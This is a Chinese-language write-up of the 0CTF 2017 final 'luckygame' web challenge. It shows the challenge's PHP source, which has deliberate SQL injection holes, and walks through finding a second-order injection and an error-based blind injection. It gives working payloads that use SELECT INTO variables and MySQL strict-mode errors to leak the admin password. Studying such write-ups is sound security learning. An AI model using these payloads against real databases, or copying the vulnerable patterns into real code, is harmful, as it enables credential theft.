20170CTF final luckygame writeup

这题单独拿出来是因为个人感觉这是清真的Web题中质量最高的,也记录一下防止忘记

luckygame

<?php session_start(); ?>
<!DOCTYPE html>
<html>
<head>
    <title>Lucky Game</title>
    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Raleway:200">
    <link href="https://fonts.googleapis.com/css?family=Noto+Sans" rel="stylesheet">
    <link rel="stylesheet" href="https://unpkg.com/purecss@0.6.2/build/pure-min.css" integrity="sha384-UQiGfs9ICog+LwheBSRCt1o5cbyKIHbwjWscjemyBMT9YCUMZffs6UqUTd0hObXD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://purecss.io/combo/1.18.13?/css/main-grid.css&amp;/css/main.css&amp;/css/menus.css&amp;/css/rainbow/baby-blue.css">
    <style>
    .header{font-family: 'Noto Sans', sans-serif;}
    .header h1{color: rgb(202, 60, 60);}
    .button-error {background: rgb(202, 60, 60);}
    .button-success {background: rgb(28, 184, 65);}
    </style>
</head>
<body>
<div id="layout">
<div id="menu">
    <div class="pure-menu">
        <a class="pure-menu-heading" href="#">TCTF</a>
    </div>
</div>
<div id="main">
    <div class="header">
        <h1>幸运数字</h1>
        <h2>Shall we play a "lucky" game?</h2>
    </div>
<div class="content">
<?php

require 'config.php';
if (!$link=mysqli_connect('localhost', MYSQL_USER, MYSQL_PASS)) die('Connection error');
if (!mysqli_select_db($link,'luckygame')) die('Database error');

$tbls = "SELECT group_concat(table_name SEPARATOR '|') FROM information_schema.tables WHERE table_schema=database()";
$cols = "SELECT group_concat(column_name SEPARATOR '|') FROM information_schema.columns WHERE table_schema=database()";
$query = mysqli_query($link,$tbls,MYSQLI_USE_RESULT);
$tbls_name = mysqli_fetch_array($query)[0];
mysqli_free_result($query);
$query = mysqli_query($link,$cols,MYSQLI_USE_RESULT);
$cols_name = mysqli_fetch_array($query)[0];
mysqli_free_result($query);


# CREATE TABLE users(id int NOT NULL AUTO_INCREMENT,username varchar(24),password varchar(32),points int,UNIQUE KEY(username),PRIMARY KEY(id));
# INSERT INTO users VALUES(1,"admin",md5(password_of_admin),10);
# CREATE TABLE logs(id int NOT NULL,log varchar(64));


foreach($_POST as $k => $v){
    if(!empty($v) && is_string($v))
        $_POST[$k] = trim(mysqli_escape_string($link,$v));
    else
        unset($_POST[$k]);
}

foreach($_GET as $k => $v){
    if(!empty($v) && is_string($v))
        $_GET[$k] = trim(mysqli_escape_string($link,$v));
    else
        unset($_GET[$k]);
}


function filter($s){
    global $tbls_name,$cols_name;
    $blacklist = "sleep|benchmark|order|limit|exp|extract|xml|floor|rand|count|".$tbls_name.'|'.$cols_name; # Ninjas need nothing
    if(preg_match("/{$blacklist}/is",$s,$a)) die($blacklist."\n".$a[0]."\n".$s."\n"."<aside>0ops!</aside>");
    return $s;
}

function register($username,$password){
    global $link;
    $q = sprintf("INSERT INTO users VALUES (NULL,'%s',md5('%s'),10)",
        filter($username),filter($password));
    if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
    return TRUE;
}

function login($username,$password){
    global $link;
    $q = sprintf("SELECT * FROM users WHERE username = '%s' AND password = md5('%s')",
        filter($username),filter($password));
    if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
    $result = mysqli_fetch_array($query);
    mysqli_free_result($query);
    if(count($result)>0){
        $_SESSION['id'] = $result['id'];
        $_SESSION['user'] = $result['username'];
        return TRUE;
    } else {
        unset($_SESSION['id'],$_SESSION['user']);
        return FALSE;
    }
}

function user_log($s){
    global $link;
    $q = sprintf("INSERT INTO logs VALUES (id+1,'%s')",
        filter($_SESSION['id'].'|'.$s));
    if(!$query = mysqli_query($link,$q)) return FALSE;
    return TRUE;
}

function update_point($p){
    global $link;
    $q = sprintf("UPDATE users SET points=points+%d WHERE id = %d",
        $p,$_SESSION['id']);
    if(!$query = mysqli_query($link,$q)) return FALSE;
    if(!user_log("Update ".$p)) return FALSE;
    return TRUE;
}

function my_point(){
    global $link;
    $q = sprintf("SELECT * FROM users WHERE username = '%s'",
        filter($_SESSION['user']));
    if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
    $result = mysqli_fetch_array($query);
    mysqli_free_result($query);
    return (int)($result['points']);
}

switch(@$_GET['action']){
    case 'register':
        if(!empty($_POST['user']) && !empty($_POST['pass']))
            if(!register($_POST['user'],$_POST['pass']))
                die("<aside>Something went wrong!</aside>");
        break;
    case 'login':
        if(!empty($_POST['user']) && !empty($_POST['pass']))
            login($_POST['user'],$_POST['pass']);
        break;
    case 'logout':
        unset($_SESSION['user'],$_SESSION['id']);
        break;
    default:
        break;
}

if(empty($_SESSION['user'])){
    echo <<<EOF
        <form action="?action=register" method=POST class="pure-form pure-form-stacked">
            <fieldset>
                <input type=text name=user required placeholder="Username" />
                <input type=password name=pass required placeholder="Password" />
                <button type="submit" class="pure-button pure-button-primary">Register</button>
            </fieldset>
        </form>

        <form action="?action=login" method=POST class="pure-form pure-form-stacked">
            <fieldset>
                <input type=text name=user required placeholder="Username"  />
                <input type=password name=pass required placeholder="Password" />
                <button type="submit" class="pure-button pure-button-primary button-success">Login</button>
            </fieldset>
        </form>
EOF;
    die();
}

$points = my_point();

if($points == 1337){
    user_log('winner');
    echo "<h3>Well played, we will give you a reward soon.</h3>";
}

echo <<<EOF
    <h1>Hello <a href='?action=logout'>{$_SESSION['user']}</a></h1>
    <h2>You got {$points} points</h2>
    <form method=GET class="grid-panel pure-form-aligned pure-form">
                    <div class="bet-control pure-control-group">
                        <label for="bet-input">
                            Your bet
                        </label>
                        <input name="bet" id="bet-input" data-content="bet-input"
                               type="number" min="0" max="16" value=1>

                    </div>

                    <div class="guess-control pure-control-group">
                        <label for="guess-input">
                            Your guess
                        </label>
                        <input name="guess" id="guess-input" data-content='guess-input'
                               type="number" min="0" value=1>
                    </div>
        <button type="submit" class="pure-button pure-button-primary button-error">Place</button>
    </form>

EOF;

if(!empty($_REQUEST['bet']) && (int)$_REQUEST['bet'] > 0 && !empty($_REQUEST['guess']) && (int)$_REQUEST['guess'] > 0){
    echo "<aside>";
    if($_REQUEST['bet'] > $points) die("What?! you're cheater!");
    $number = rand()%8;
    echo "It is...<h1 style='color:#fff'>".$number."</h2><br />";
    if( $number == $_REQUEST['guess'] ){
        echo "You won!";
        if(!update_point($_REQUEST['bet']))
            return;
    } else {
        echo "You lost :(";
        if(!update_point(-$_REQUEST['bet']))
            return;
    }
    echo "</aside>";
}
mysqli_close($link);
?>

</div>
</div>
</div>
</body>
</html>

这段代码一共存在两个漏洞,都是注入的洞
全局过滤看似写的天衣无缝

foreach($_POST as $k => $v){
    if(!empty($v) && is_string($v))
        $_POST[$k] = trim(mysqli_escape_string($link,$v));
    else
        unset($_POST[$k]);
}

foreach($_GET as $k => $v){
    if(!empty($v) && is_string($v))
        $_GET[$k] = trim(mysqli_escape_string($link,$v));
    else
        unset($_GET[$k]);
}

但是仔细追踪便会发现在登陆后会运行一个my_point()的函数对得分进行查询

function my_point(){
    global $link;
    $q = sprintf("SELECT * FROM users WHERE username = '%s'",
        filter($_SESSION['user']));
    if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
    $result = mysqli_fetch_array($query);
    mysqli_free_result($query);
    return (int)($result['points']);
}

函数中的数据库查询所用的$username来自$_Session['user']
因此很容易发现在这里存在二次注入
但是

CREATE TABLE users(id int NOT NULL AUTO_INCREMENT,username varchar(24),password varchar(32),points int,UNIQUE KEY(username),PRIMARY KEY(id))

用户名长度限制了24
因此直接通过用户名二次注入的构想就不成立了。

同时再次审计发现

if(!empty($_REQUEST['bet']) && (int)$_REQUEST['bet'] > 0 && !empty($_REQUEST['guess']) && (int)$_REQUEST['guess'] > 0){
    echo "<aside>";
    if($_REQUEST['bet'] > $points) die("What?! you're cheater!");
    $number = rand()%8;
    echo "It is...<h1 style='color:#fff'>".$number."</h2><br />";
    if( $number == $_REQUEST['guess'] ){
        echo "You won!";
        if(!update_point($_REQUEST['bet']))
            return;
    } else {
        echo "You lost :(";
        if(!update_point(-$_REQUEST['bet']))
            return;
    }
    echo "</aside>";

这里的bet参数和guess参数是通过REQUEST来接收参数的,因此不会被全局过滤所过滤,跟一下到update_point()
发现Update_points对参数进行了强制类型转换

$q = sprintf("UPDATE users SET points=points+%d WHERE id = %d",$p,$_SESSION['id']);

因此不存在注入,继续追参数bet
发现在user_log()bet参数是拼接到Update |,没有做类型转换,因此存在注入!

但是作为一个萌新关注点肯定在第二个注入上,然后就发掘各种新姿势去注入。
然后就发现了一些奇奇怪怪的报错注入,这里安利一下
MySQL Injection in Update, Insert and Delete
但是因为没办法绕过字段名和表名的限制,这里也就不成立了。

然后就没有然后了,赛后问小m要了payload,然后参考官方的payload再仔细跟一边流程,就出来了。
小m的payload;

admin' into @a,@b,@c,@d#
guess=1&bet=1e-1000' in (concat('123',1/(substr(@b,1,1)='a'))))#

官方payload:

admin' into @a,@b,@c,@d#
guess=1&bet=1e-1111'),(if(locate('a',@c,1)=1,'a',2),'')#

此处根据官方payload来解析

select * from users where username='admin' into @a,@b,@c,@d#

因此可以将admin的所有字段注入到@a,@b,@c,@d四个变量中,然后在通过查询变量的值去注入,以此绕过对于字段和表名的过滤
luckygame1
官方给的提示中有几个版本信息,发现其mysql版本是5.7.18

root@:~# mysql -V
mysql  Ver 14.14 Distrib 5.7.18, for Linux(x86_64)using  EditLine wrapper

因为mysql 5.7以后默认开启了SQL_MODE为严格模式,也就是在此版本以前的一些查询操作会直接报错,比如:数据超过字段长度限制,或者int字段插入字符。因此可以利用这个特性去注入

insert into logs values(id,'1e-1111'),(if(locate('a',@c,1)=1,'a',2),'')#

如果@c变量(即password)的第一个值为a则在第一个字段中插入'a'也就会报错
跟一遍报错的操作

function user_log($s){
    global $link;
    $q = sprintf("INSERT INTO logs VALUES (id+1,'%s')",
        filter($_SESSION['id'].'|'.$s));
    if(!$query = mysqli_query($link,$q)) return FALSE;
    return TRUE;
}

至

function update_point($p){
    global $link;
    $q = sprintf("UPDATE users SET points=points+%d WHERE id = %d",
        $p,$_SESSION['id']);
    if(!$query = mysqli_query($link,$q)) return FALSE;
    if(!user_log("Update ".$p)) return FALSE;
    return TRUE;
}

至

if(!empty($_REQUEST['bet']) && (int)$_REQUEST['bet'] > 0 && !empty($_REQUEST['guess']) && (int)$_REQUEST['guess'] > 0){
    echo "<aside>";
    if($_REQUEST['bet'] > $points) die("What?! you're cheater!");
    $number = rand()%8;
    echo "It is...<h1 style='color:#fff'>".$number."</h2><br />";
    if( $number == $_REQUEST['guess'] ){
        echo "You won!";
        if(!update_point($_REQUEST['bet']))
            return;
    } else {
        echo "You lost :(";
        if(!update_point(-$_REQUEST['bet']))
            return;
    }
    echo "</aside>";
}
mysqli_close($link);
?>

发现出错的话直接return了也就不会输出最后的</aside>
如果@c变量(即password)的第一个值不为a则在第一个字段中插入2也就不会报错
随后输出</aside>
依此来判断是否注入成功
接下来就是写脚本了 :)

发表评论